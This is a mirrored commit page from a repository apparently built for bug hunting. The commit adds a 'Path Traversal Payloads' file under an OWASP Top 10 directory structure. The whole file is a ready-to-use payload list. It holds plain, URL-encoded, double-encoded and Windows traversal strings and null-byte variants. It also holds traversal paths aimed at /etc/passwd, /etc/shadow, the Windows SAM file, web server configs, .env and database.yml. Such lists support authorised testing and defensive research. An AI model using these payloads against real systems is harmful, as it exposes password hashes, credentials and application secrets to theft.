mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 19:36:33 +00:00
Add comprehensive OWASP Top 10 directory structure with injection payloads
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
@@ -0,0 +1,57 @@
|
||||
# Path Traversal Payloads
|
||||
|
||||
# Basic traversal
|
||||
../
|
||||
../../
|
||||
../../../
|
||||
../../../../
|
||||
../../../../../
|
||||
../../../../../../
|
||||
../../../../../../../
|
||||
|
||||
# URL encoded
|
||||
..%2F
|
||||
..%2F..%2F
|
||||
..%2F..%2F..%2F
|
||||
..%252f
|
||||
..%252f..%252f
|
||||
|
||||
# Double URL encoded
|
||||
..%252F
|
||||
..%252F..%252F
|
||||
..%c0%af
|
||||
..%c1%9c
|
||||
|
||||
# Windows paths
|
||||
..\
|
||||
..\..\
|
||||
..\..\..\
|
||||
..%5C
|
||||
..%5C..%5C
|
||||
..%255C
|
||||
|
||||
# Null byte injection
|
||||
../../../etc/passwd%00
|
||||
../../../etc/passwd%00.jpg
|
||||
..%2F..%2F..%2Fetc%2Fpasswd%00
|
||||
|
||||
# Common target files
|
||||
../../../etc/passwd
|
||||
../../../etc/shadow
|
||||
../../../etc/hosts
|
||||
../../../windows/system32/config/sam
|
||||
../../../windows/win.ini
|
||||
../../../boot.ini
|
||||
..\..\..\..\windows\system.ini
|
||||
|
||||
# Web server files
|
||||
../../../var/www/html/index.php
|
||||
../../../usr/local/apache/conf/httpd.conf
|
||||
../../../etc/httpd/conf/httpd.conf
|
||||
../../../etc/nginx/nginx.conf
|
||||
|
||||
# Application files
|
||||
../../../config/database.yml
|
||||
../../../.env
|
||||
../../../web.config
|
||||
../../../application.properties
|
||||
Reference in New Issue
Block a user